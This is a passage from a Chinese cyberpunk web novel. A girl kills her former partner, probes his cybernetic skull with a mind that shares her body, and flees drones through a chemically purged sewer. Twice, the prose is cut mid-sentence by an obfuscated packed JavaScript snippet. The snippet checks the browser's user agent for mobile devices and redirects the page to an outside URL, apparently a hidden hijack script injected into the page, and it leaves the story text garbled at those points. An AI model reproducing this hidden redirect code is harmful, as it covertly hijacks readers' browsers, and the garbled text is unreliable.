沉降区长大的夏雨不是第一次看到死人,但这确实是她杀的第一个人,还是几个小时前还和她一起吃合成营养膏的搭档。 李斯,她的仇人,她殚精竭虑想要报复的对象,她短暂的合作对象,就这么轻飘飘地死成了渣渣……?她甚至没来得及问清楚母亲的死亡内幕。 她曾经千百遍预想过复仇后自己会得到的胜利的快意,但此时,她的脑海里却只有恶心、恐惧和痛苦。 为什么□□那些人却能那么轻易地杀掉她的母亲,然后还会轻松地讨论晚上去哪儿消遣?为什么她却不行? 寄宿在夏雨体内的连映,此刻也并不好受。 她不认识李斯,不知道眼前的一切是真是假,也明白“不是他死就是我们亡”的道理,但这也是她亲手杀死的第一个人,此时夏雨感受到的剧烈战栗和恶心感,也有她一份。 连映看着地上那颗半人半鬼的头颅,看着那曾经鲜活的生命变成了这副扭曲的模样,心里泛起一阵彻骨的寒意。 这就是这个世界的规则吗?弱肉强食,死后连个人样都留不下。 连映在精神空间里深吸了一口气,强行压下了那股不适感。她知道,现在不是感伤或者忏悔的时候。 她是个成年人,面对一个未成年的孩子,她有必须承担的责任。 【别看他的眼睛。】连映在夏雨脑海中带有一丝安抚意味道,【那已经是尸体了。如果刚才犹豫的是你,现在躺在地上的就是我们。】 【现在,把嘴里的东西吐干净,然后站起来,按我说的做。】 “……我只是捅了一刀,他怎么就变成这样了?”夏雨抹了一把嘴角的酸水,抖着胳膊指了指地上的尸体残渣,“你到底做了什么?怎么做到的?” 【这不重要。】女声并没有解释,其实她也不知该如何解释,【重要的是,如果不快点行动,你会马上被创联的人抓到。】 “不行!走之前,我还有事要做!” 听到要走,夏雨浑身一激灵,在沉降区长大的“拾荒”本能顿时压倒了恶心,扑到李斯的尸骸旁,迅速捡起那把依然完好的、被李斯抢走的枪,还有那枚任务金属牌。 【还有一样东西。】脑海中的女人突然开口,声音中带有一丝不移察觉的紧绷,【在他胸口那堆灰里。】 夏雨愣了一下,伸手一刨。 在几块扭曲的金属废料和李斯那只断掉的机械手之间,一点幽蓝色的微光静静地闪烁着。 “这玩意儿居然还在?” 夏雨眼睛一亮,伸手从温热的灰烬里将它刨了出来。 是那枚蓝宝石胸针。蚀械菌似乎对高纯度的晶体并不感兴趣,除了银质底座被高温熏得有些发黑,那颗深蓝色的新月宝石依然完好无损,在黑暗中散发着清冷的光辉。 “算这老怪物还有点良心,没把这宝贝给吞了。” 夏雨嘟囔着,用袖口擦了擦上面的灰,举到眼前:“看着像真货啊……这切工,这净度……发财了!?” 借着夏雨举起胸针的动作,连映终于看清了它的全貌。 她集中注意力和精神力细细扫过胸针的每一寸细节,最后定格在底座背面那道细微的、几乎看不见的刻痕:“L&W”。 连映的呼吸在意识层面出现了一瞬间的停滞。 太真了。连那道刻痕深浅不一的手感都完美复刻。 一股寒意顺着脊椎爬上来,连映并没有失而复得的喜悦,反而感到一种巨大的、荒谬的眩晕感。 她听说,现在好像有一种叫“动态深潜式心理构筑”的高级技术,能够实时读取体验者的海马体数据,提取出体验者潜意识里最深刻的执念,然后利用超级AI技术即时生成极具欺骗性的虚拟场景。 难道,审讯方想用这个胸针来击溃我的心理防线?还是想诱导我暴露出更多关于闻阗的信息? 连映控制着自己的精神波动,将那股几乎要冲破胸腔的急切强行压成一条直线。她不能表现出那个东西对她很重要。至少在夏雨面前,她必须维持好自己的“人设”。 【收好。】连映压抑着心底的巨震,语气冷淡地信口胡诌道,【不想死最近就别拿去卖,这东西上有高级信标。贴身藏好。】 “哈?高级信标?你光看就知道了?”夏雨被吓了一跳,随手塞进衣兜,心里却在想:管她什么心病,回去以后光把宝石拆下来卖掉不就得了? 【最后一件。看那颗头。】 夏雨忍着头皮发麻,看向那颗半焦的头颅。 “嗯?脑壳居然完好无损?” 夏雨眼前一亮,伸手想要把那颗半焦的脑袋翻过来,看看有没有什么值钱的植入体或者金牙。 “滋——” 就在她的手指触碰到头颅表面的一瞬间,异变突生。 仿佛有一道微弱的电流顺着指尖直冲大脑。夏雨的视野猛地闪烁了一下,就像是劣质的接触不良。紧接着,无数道蓝色的、像血管一样的全息数据流直接浮现在她的视网膜上。 她清晰地看到,那颗原本在她眼中只是一块死肉的头颅内部,竟然浮现出了残缺的金属骨骼结构图,而在右眼眶的位置,有一股红色的数据流正在疯狂地向上传输。 旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091507|195441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边还飘浮着一些她只能勉强看懂一部分的乱码,以及一行文字: 【警告:影像同步上传中……无网络连接,上传已中断】 “卧槽?!老鼠人都没了,脑袋居然还在继续运行?” 夏雨吓得猛地缩回手,揉了揉眼睛,“等等,刚才我眼花了?怎么看到数据线了?” 【不是眼花。】 脑海中,连映的声音淡淡响起: 【是我激活了你大脑皮层里沉睡的感知模块。这是‘机械感知’。】 连映并没有说谎。她也是刚刚在查看那个神秘的系统面板时才发现,夏雨的这个特殊界面和“机械感知”能力,其实是被她身为“共鸣者”的一个已有技能——“潜能激发”所激活的。 虽然只是初级阶段,必须通过肢体接触才能解析数据,但对于夏雨这种从小和机械打交道的孩子来说,这就是神技。 “……意思是,你给我激活了一个特殊能力?”夏雨愣住了,看着自己的手,又看了看那颗头颅,“这是……异能?还是什么新型基因改造技术?你想要我干什么?我知道,这肯定不是免费的吧。” 【算是预付的报酬,只要你老实听话,就不会有麻烦。还有,不要把这件事告诉任何人,否则,我随时能收回来。】连映语气冷漠道。 “哦……”夏雨还是没完全明白。 连映也没想等她完全想明白,她的目标是先糊弄过去再说。 现在,她心里有很多疑问要和夏雨确认,但眼前,她不能对夏雨邪路任何关于“共鸣”、“链接”那些连她自己都没搞清楚的概念,那只会让夏雨对她产生怀疑,对接下来的行动没有任何好处。 眼下,她需要扮演的是一个让夏雨可以依靠却又无法反抗的“权威”或者“上级”,而不是一个施恩不成反成仇的“神秘伙伴”——平等的关系,意味着界限会渐渐模糊,无论是夏雨,还是她,都会有降低心防、逐渐越界的风险。 连映维持淡漠深沉的语调继续道: 【这些以后再说。现在更重要的是处理掉李斯的脑袋。看来,他肯定将你和他的冲突经过录了下来,大概率还尝试过联系其他人。一旦这颗头落到其他人手里,你就是死路一条。】 “靠,差点着了这家伙的道儿!” 夏雨也知道事情的严重性,忍着厌恶向那颗狰狞的头颅伸出手,指尖精准地按在了那颗看似烧焦的机械义眼上。 “机械感知”界面的数据流再次浮现。这一次,在连映的引导下,她看得更清楚了: 【接触式解析中……】 【硬件: 头骨:MW-77 黑曜石(未经认证的覆写散件) 皮层&脑芯:黑匣子(原封,认证) 状态:锁定 激活时间:12月21日】 “这架构……”夏雨愣了一下,脸色瞬间变了:““MW,黑曜石——是明微生物的‘黑曜石’!?” 她仔细看了看机械感知界面的文字提示,顿时咋舌不已: “黑曜石的全身骨骼要上百万,他这个头骨应该是从私人身上扒下来的二手货,就算碎铁帮便宜卖给他也得几万块钱。” 她颇为感慨地继续往下看:“等等,黑匣子——居然是全新的!?他这都是正品吗?” 【全新的黑匣子市价从十几万到二十几万波动,头骨应该也是正品,毕竟人都化成灰了,头骨和皮层脑芯居然还在。】 连映在自己兼职的高端机械义体店见过这种型号,边思索边道: 【黑曜石是专门做成廉价外观的高端货,给怕被打劫的富人用的,和黑匣子皮层脑芯是一个系列的产品,用的是特殊的高级仿生材料,大概也是因为这个他的脑袋才没被蚀械菌完全腐蚀。】 夏雨补充了几句自己知道的情况:“在我们那片儿,碎铁帮清道夫拿到的高级货另有渠道出手,我家店里安全起见也从来不进这种高级货。而且,全新黑匣子只能去官方渠道提前一个月检查定制,服务费另算。老鼠居然有钱装正品!?” 连映心里也颇为嫉妒这家伙的阔气,为了不崩人设,努力装作云淡风轻地说:【是不少钱,两个加起来得小几十万。看不出来,老鼠这家伙还挺有钱的。】 末了,她还是忍不住嘲讽了一句:【不过,他这钱算是白花了,大脑都被啃空了,光留下脑壳和脑芯有什么用。】 骂了半截的话忽然卡在喉咙里,夏雨忽然想到什么,心脏猛地一缩。 需要提前半个月定制……激活时间是22号…… 假设他是22号当天换的头骨和脑芯,那他是什么时候拿到钱的呢?21号? 【既然如此,那老鼠为什么会选择换昂贵的义体保护脑袋,而不是还债?】连映若有所思地说。 夏雨没回答。 她死死盯着那个【激活时间:12月22日】的数据,眼圈慢慢变得通红。 她不知道李斯为什么这么做,但21号那天发生的事,她永远不会忘。 那是她妈尸体在河里被发现那天,也是家里的机械铺被前来收债的李斯带着几个碎铁帮的喽啰连锅端的日子。 9. 逃亡 夏雨呼吸急促起来。 一周前新换的脑袋——李斯这种常年混迹于赌场的烂赌鬼,哪来的钱换这种高端装备? “王八蛋——!” 胸膛因为愤怒剧烈起伏,夏雨咬牙切齿地说:“那是我们的店,我们的钱——那是我妈当年带着我从下水道起家,辛辛苦苦十几年攒下的家当!” “那天夜里她跟我说,她存了些钱,要带我搬家离开这里,去治安好一些的区买个房子,可第二天一早她就失踪了,再也没回来……一个月……原来,原来他们早就……” 说到这,夏雨已然双眼通红,却强忍着没让眼泪掉下来。愤怒没顶之下,她掏出腰包里的数据探针,发疯一样地狠狠刺向那颗义眼。 【住手!你仔细看结构图,他的义眼里有——】 连映赶紧阻止,但夏雨的已经狠狠刺在眼球表面。 “滴——!!” 一声极其尖锐、几乎刺破耳膜的高频蜂鸣声瞬间从那颗头颅里爆发出来。 【警告:检测到暴力拆解!声波诱饵模式启动!】 夏雨被这声音震得头皮发麻,手里的刀差点掉了。 “靠,这家伙在义眼里装声波信标!?那刚才蚀械菌吃他大脑的时候怎么没响?” 连映声音急促地说:【不止这样,就算你毁了义眼也没用,黑曜石头骨是军工级防爆设计,硬撬只会引来更多的安保部队!我们没有能在十秒内熔穿这种特殊合金的工具!】 夏雨僵住了,过往经验、知识和理智悉数回笼,她重新看向机械感知铺开的头颅透视图景,猛地意识到陌生女音是对的,冷汗瞬间湿透了脊背。 “那……现在怎么办?!声波信标会把所有东西都引过来!” 她又看了一眼视网膜上那个【影像上传进度:0%(无网络连接);声波信标已开启】的红色警告,啐了一声: “靠,幸好这底下没网,要不然——等等,不能把它就这样留在这,如果创联看到老鼠的录像,那我可就玩完了!” “嗡——” 说什么来什么,远处管道里传来了重型无人机推进器的轰鸣声,显然是被刚才那短暂的声波吸引来的。 没时间了。 【来不及了!】连映迅速地说:【现在只能‘关’住它,然后把它带走。】 夏雨眼睛一亮,瞬间明白了她的意思。作为经常在捡电子垃圾的拾荒者,能够屏蔽信号的隔离回收袋是标配。 “我有隔离回收袋!” 她迅速从腰包的夹层里扯出一个折叠得皱皱巴巴的银灰色厚重袋子一,铝箔般的里衬闪着哑光。 “这是铝网夹层的,标准的法拉第笼结构,专门用来屏蔽电磁信号!”她语速飞快地说,“我以前捡到过会乱发定位的军用芯片,就靠这个兜回家的。” 【装进去!】连映立刻道。 夏雨忍着那股令人作呕的焦糊味,一把抓起李斯剩下的头发,将那颗还在发出尖锐蜂鸣的脑袋硬生生塞进了袋子里。 “给老子闭嘴!” 她狠狠拉上密封拉链。 “滋——” 那让人头皮发麻的尖叫声戛然而止。世界瞬间清静了。 为了保险起见,夏雨没有立刻把袋子塞进怀里,而是把手掌贴在袋子表面,再次发动了“机械感知”。视网膜上的数据流清晰地显示: 【接触反馈:高密度铝网……信号阻断率:100%】 与此同时,连映也试探性地集中精神力去感知那个袋子。 很安静,应该确实起了作用。 【安全。没有任何波动。只要不把拉链拉开,这就是个死物。】 得到了双重确认,夏雨这才长出了一口气。 她把沉甸甸的袋子往防护服里一揣,拍了拍鼓鼓囊囊的肚子,对着怀里的“铁疙瘩”冷笑一声: “李斯,你这混蛋,给我好好待着。等出去了,老娘亲自给你做‘开颅手术’。” “嗡——轰——” 话音未落,身后管道深处的轰鸣声陡然增大。连映敏锐的精神雷达甚至捕捉到了一阵令人毛骨悚然的、密集的金属撞击声,以及机械爪子抓扣墙壁快速爬行的声音。 【快跑!】 连映警告声急促响起: 【不止无人机!地面也有东西!应该是创联的‘猎犬’!】 “操!” 夏雨脸色一变,不敢再耽搁半秒。她捂着怀里的脑袋,在那令人窒息的压迫感中,一头跳入通往深层污水管网的幽深入口。 昏暗,潮冷,恶臭。 夏雨瘫软在滑腻的管道壁上,肺部像拉风箱一样剧烈起伏。 随着身后那扇沉重的隔离阀门被她费力关上,尖锐的声波诱饵声终于被隔绝在外。 世界瞬间安静下来,但这种安静并不让人安心。 这里是地下L7层下水道区域,整个创联塔基座的排泄口。 在夏雨的认知里,这种遮风挡雨、恒温、宽敞的地下管道区域,哪怕是冬天,也应该挤满了用塑料布搭帐篷的流浪汉、瘾君子、还有帮派的黑诊所。哪怕是死胡同,也该有成群结队的老鼠和蟑螂在脚下乱窜。 但这儿什么都没有。 四周黑得像墨,只有夏雨额间刺眼的头灯切割着黑暗。光线扫过之处,墙壁上甚至连涂鸦都没有,只有一种被某种液体反复冲刷后留下的、呈现出诡异惨白色的蚀刻痕迹。 昨夜的冬雨让地下水位暴涨。黑水没过了小腿,湍急的水流裹挟着冰渣,像无数只冰冷的手死死拽着夏雨的脚踝,每迈一步都要消耗巨大的体力。 “不太对劲……” 夏雨贴着墙根,吸了吸鼻子,脸色在头灯的微光下显得有些惨白。 【怎么?】连映问。 “太干净了。” 夏雨的声音紧绷,眼神警惕地扫视着四周,“我和我妈……以前在西区的排水管里住过半年多。只要是能住人的管子,不管多深,你能闻到那股‘活人味’。发霉的被褥、烧过期的营养膏、还有屎尿味。到处都是老鼠,蟑螂,蛆。” 她指了指四周那惨白的墙壁: “但这儿只有漂白粉和烂肉的味儿,连老鼠蟑螂都没有。这里不是正常生物能待的地儿。” 连映没有立刻回答。 她在尝试使用那个刚刚觉醒的“新器官”——精神力。 这是一种很生涩的体验,就像是一个盲人第一次试图通过回声来描绘世界。她笨拙地将那一缕意识向外延伸,试图“看”清黑暗中的情况。 没有反馈。 这就是最大的反馈。 虽然她现在感知力不强,但刚才在上面的垃圾场,哪怕不刻意去探查,她也能感知到四周无数微小的生命火花:惊窜的老鼠、爬行的虫子、甚至苔藓类生物一片片微弱的生物电。 但这儿……是一片死寂的黑色虚无。 连映的精神触角扫过四周,感觉不到一丝一毫的活物气息。这种绝对的“真空”,比任何怪物的咆哮都更让她毛骨悚然。 【看看你的目镜。】 连映的声音在夏雨脑海中响起,带着一丝初次尝试操控精神力的疲惫感: 【虽然离线了,但基础的环境监测模块应该还在运作。右下角,那个黄色的图标是什么?】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091508|195441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>夏雨愣了一下,把手里那个本来想省电关掉的目镜重新戴上,眯起眼睛看了一眼角落里一直闪烁的离线图标。 “靠!工业污染警报?” 夏雨念出了上面跳动的一行小字:“环境酸性残留:高。建议佩戴呼吸过滤阀。……卧槽!?” 【这就对了。】 连映结合自己感知到的“生命真空”和目镜的数据,迅速得出了结论: 【这里是‘清理区’。】 【这就是为什么没有流浪汉,也没有老鼠。创联大概定期向这里排放强效化学消毒剂,用来‘清洗’管道……顺便清洗这里的所有活物。 尤其是昨夜下了冰雨,虽然这里是创联自己的管道,但水位肯定还是比平时高很多。这么看来,你得快些从这底下出去,尽量从岸上走,不要淌水,否则……】 连映话还没说完,一阵刺痛从夏雨腿部同步传来。 那种混合了工业废液的冰水溅在夏雨刚才战斗留下的伤口上,像火烧一样疼。 “嘶……”夏雨倒吸一口冷气,脚下一个踉跄,怀里装着脑袋的袋子重重撞在膝盖上。钻心的疼让她龇牙咧嘴,脑海里瞬间闪过网上流传的那些被公司“新药”实验毒得面目全非的惨状,腿肚子顿时有些转筋。 “靠,我不会还没出去先被这里的毒水毒死吧?”恐惧之下,夏雨竟不知不觉将心声脱口而出,清脆的女声幽幽地回荡在空寂的空间内,颇有些悚然。 话音未落,夏雨的后背就僵住了。她猛地闭紧嘴巴,但这声抱怨已经像泼出去的水,在空旷的管道里根本收不回来。 晚了。 几乎在回声荡开的同一瞬间,连映那刚刚铺开的、还很不熟练的精神雷达,突然像被针扎了一下。 【嘘,有东西追过来了!】连映在夏雨意识里急促警告道。 在她的精神感知视野里,原本死寂的黑暗中,突然闯入了几个格格不入的“信号团”。 那感觉很模糊,并不像高清摄像头那样能看清人脸,更像是在黑夜里看到了几团不同颜色的鬼火: 后方是三团冰冷的、毫无情绪波动的死物。它们带着那种特有的电子嗡鸣频率,正直线逼近,大概是创联的战斗无人机。 右前方是一团炽热的、锋利的红光,大概是个活人,精神波动极其稳定,连映却直觉般地感知到一种压抑的危险感,不知道这人是敌是友。 左侧阴影里还有一团……那是什么?连映有些分辨不清。 那一团气息像是一块冰冷的石头,或者一团虚无的迷雾,却带着一股奇异的窥视感,如果不是她刚才刻意扫描,几乎会把它当成背景环境忽略掉。 她望向那边的墙壁,什么都没有。 ……管壁里的某种隐藏设备,比如某种纳米级监视器? 连映还没来得及分辨那团“迷雾”的性质,后方那三个无人机已经现出身形发起了攻击。 “嗡——” 几道红色的热成像射线瞬间刺破了黑暗,锁定了夏雨的背影。 “该死!追上来了!” 夏雨反应极快,利用地形一个翻滚躲过扫射,抬手就是一枪。 “砰!” 子弹打在领头那架无人机的装甲外壳上,只溅起一串火花。 “妈的!是创联的‘清扫者’!两架……不,三架!” 夏雨被密集的火力压制得抬不起头,只能蜷缩在一段生锈的管道后面。怀里那颗死人头硌着她的肋骨,身后是逼近的死神。 就在这时,她听到了右前方那个黑暗的检修口传来了极其轻微的、金属撞针复位的“咔哒”声。 那里有人!